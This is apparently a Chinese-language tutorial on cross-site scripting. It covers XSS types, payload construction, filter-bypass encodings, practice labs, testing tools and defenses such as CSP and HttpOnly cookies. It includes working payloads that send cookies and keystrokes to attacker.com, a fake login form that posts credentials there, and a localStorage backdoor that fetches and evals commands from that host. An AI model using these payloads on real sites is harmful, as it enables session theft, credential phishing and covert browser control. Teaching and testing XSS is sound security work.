1. XSS攻击基础概念与分类
XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web安全漏洞,攻击者通过在目标网站上注入恶意脚本,当其他用户访问该页面时,这些脚本会在用户浏览器中执行。这种攻击之所以危险,是因为它利用了用户对目标网站的信任。
1.1 XSS攻击的三种主要类型
反射型XSS(Reflected XSS):
- 攻击脚本作为请求的一部分发送到服务器,服务器未做过滤就直接返回给客户端
- 常见于搜索框、错误消息等场景
- 需要诱骗用户点击特定链接才能触发
存储型XSS(Stored XSS):
- 恶意脚本被永久存储在目标服务器上(如数据库)
- 每当用户访问受影响页面时都会执行
- 常见于留言板、用户评论等UGC内容区域
DOM型XSS(DOM-based XSS):
- 完全在客户端发生,不涉及服务器响应
- 由于不安全的DOM操作导致
- 攻击载荷在URL片段(#之后的部分)中传递
注意:XSS漏洞的危害程度取决于攻击者的创造力,从窃取cookie到完全控制用户账户都有可能。
2. XSS语句构造基础
2.1 基本注入方式
最简单的XSS注入是通过HTML标签实现的:
<script>alert('XSS')</script> <img src=x onerror=alert('XSS')>但现代网站通常会有基本的过滤机制,因此需要更巧妙的构造方式:
<svg onload=alert('XSS')> <body onload=alert('XSS')>2.2 绕过过滤的技巧
大小写混淆:
<ScRiPt>alert('XSS')</sCriPt>使用HTML实体编码:
<script>alert('XSS')</script>利用JavaScript伪协议:
<a href="javascript:alert('XSS')">点击</a>事件处理属性:
<img src="x" onerror="alert('XSS')">利用CSS表达式(IE特有):
<div style="width: expression(alert('XSS'))">
3. 高级XSS构造技术
3.1 编码混淆技术
十六进制编码:
<img src=x onerror=alert('XSS')>Unicode编码:
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074('\u0058\u0053\u0053')>混合编码:
<img src=x onerror=alert('XS'+'S')>
3.2 利用SVG和HTML5特性
现代HTML5和SVG提供了更多注入点:
<svg><script>alert('XSS')</script></svg> <iframe src="javascript:alert('XSS')"></iframe> <video><source onerror="alert('XSS')">3.3 基于DOM的XSS构造
DOM型XSS不需要服务器参与,完全在客户端执行:
eval(location.hash.slice(1))当URL为example.com#alert('XSS')时就会执行
4. 实战XSS漏洞利用
4.1 Cookie窃取构造
获取用户cookie的典型XSS载荷:
<script> new Image().src="http://attacker.com/steal.php?cookie="+document.cookie; </script>4.2 键盘记录器构造
document.onkeypress = function(e) { new Image().src="http://attacker.com/log.php?key="+e.key; }4.3 钓鱼攻击构造
<script> document.body.innerHTML = '<form action="http://attacker.com/phish">'+ '<h1>Session Expired</h1>'+ 'Username: <input name="user">'+ 'Password: <input type="password" name="pass">'+ '<input type="submit" value="Login">'+ '</form>'; </script>5. XSS防御与绕过技巧
5.1 常见防御机制
输入过滤:
- 移除或转义特殊字符(<, >, ", ', &等)
- 使用白名单限制允许的HTML标签
输出编码:
- 根据上下文进行HTML实体编码
- JavaScript字符串转义
内容安全策略(CSP):
- 限制脚本执行来源
- 禁止内联脚本
5.2 高级绕过技术
利用字符集编码差异:
<script charset="ISO-8859-1">alert('XSS')</script>利用浏览器解析差异:
<script/*注释*/src=//attacker.com/xss.js>利用不完整的HTML结构:
<table background="javascript:alert('XSS')">利用动态属性:
<div id="x"></div> <script> x.setAttribute('onclick','alert("XSS")'); </script>
6. XSS实战环境搭建
6.1 DVWA XSS环境配置
DVWA(Damn Vulnerable Web Application)是学习XSS的理想环境:
- 下载DVWA并部署到本地服务器
- 设置安全级别为"low"以练习基本XSS
- 逐步提高难度级别练习绕过技巧
6.2 XSS靶场推荐
- XSS-Lab:专门设计的XSS练习平台
- CTFHub XSS挑战:包含多种难度的XSS关卡
- Google XSS Game:谷歌提供的交互式XSS学习平台
6.3 实战演练步骤
- 识别可能的注入点(输入框、URL参数等)
- 尝试基本XSS载荷测试过滤机制
- 根据响应调整载荷构造方式
- 逐步尝试更复杂的绕过技术
- 验证攻击效果并记录成功载荷
7. XSS漏洞挖掘实战技巧
7.1 手动测试方法
基础测试向量:
'"><script>alert('XSS')</script>事件处理器测试:
" onmouseover=alert('XSS') x="伪协议测试:
javascript:alert('XSS')
7.2 自动化工具辅助
Burp Suite:
- 使用Intruder模块进行XSS模糊测试
- 利用Scanner自动检测XSS漏洞
XSStrike:
- 专门针对XSS的自动化测试工具
- 支持上下文分析和高精度检测
ZAP:
- OWASP的开源安全测试工具
- 包含XSS扫描功能
7.3 漏洞报告要点
发现XSS漏洞后,规范的报告应包含:
- 漏洞URL和触发条件
- 复现步骤(含具体载荷)
- 潜在影响分析
- 修复建议
8. 从XSS到高级攻击
8.1 结合CSRF攻击
XSS可以绕过CSRF防护,实现更复杂的攻击:
fetch('/change-email', { method: 'POST', body: 'email=attacker@example.com' });8.2 结合Clickjacking
通过XSS修改页面内容,诱导用户点击隐藏元素:
document.getElementById('button').style.opacity = 0; document.getElementById('button').style.position = 'absolute'; document.getElementById('button').style.left = '0'; document.getElementById('button').style.top = '0'; document.getElementById('button').style.width = '100%'; document.getElementById('button').style.height = '100%';8.3 持久化控制技术
建立持久后门的高级XSS技术:
if(!localStorage.getItem('backdoor')){ localStorage.setItem('backdoor', 'true'); setInterval(function(){ fetch('http://attacker.com/command') .then(r=>r.text()) .then(cmd=>eval(cmd)); }, 60000); }9. XSS防御最佳实践
9.1 开发层面防护
输入验证:
- 严格验证所有用户输入
- 使用正则表达式白名单过滤
输出编码:
- 根据上下文选择合适的编码方式
- HTML实体编码:
<>&等 - JavaScript编码:
\x3c\u003c等
安全API使用:
- 避免使用
innerHTML,改用textContent - 使用安全的DOM操作方法
- 避免使用
9.2 运维层面防护
内容安全策略(CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.comHttpOnly Cookie:
Set-Cookie: sessionid=12345; HttpOnly; SecureX-XSS-Protection头(已弃用,但仍有兼容价值):
X-XSS-Protection: 1; mode=block
9.3 框架内置防护
现代Web框架通常内置XSS防护:
- React:自动转义所有嵌入的表达式
- Angular:严格的上下文安全模型
- Vue:默认转义HTML内容,提供v-html指令显式信任
10. XSS学习资源与进阶路径
10.1 推荐学习资源
- OWASP XSS备忘单:全面的XSS防护指南
- PortSwigger XSS教程:交互式学习体验
- HackTheBox XSS挑战:实战演练平台
10.2 认证与培训
- OSCP:包含Web应用安全内容
- Web Security Academy:PortSwigger免费课程
- eLearnSecurity Web应用渗透测试:系统化学习路径
10.3 持续学习建议
- 关注最新浏览器安全特性变化
- 研究新型前端框架的安全机制
- 参与CTF比赛和漏洞赏金计划
- 阅读安全研究人员的博客和论文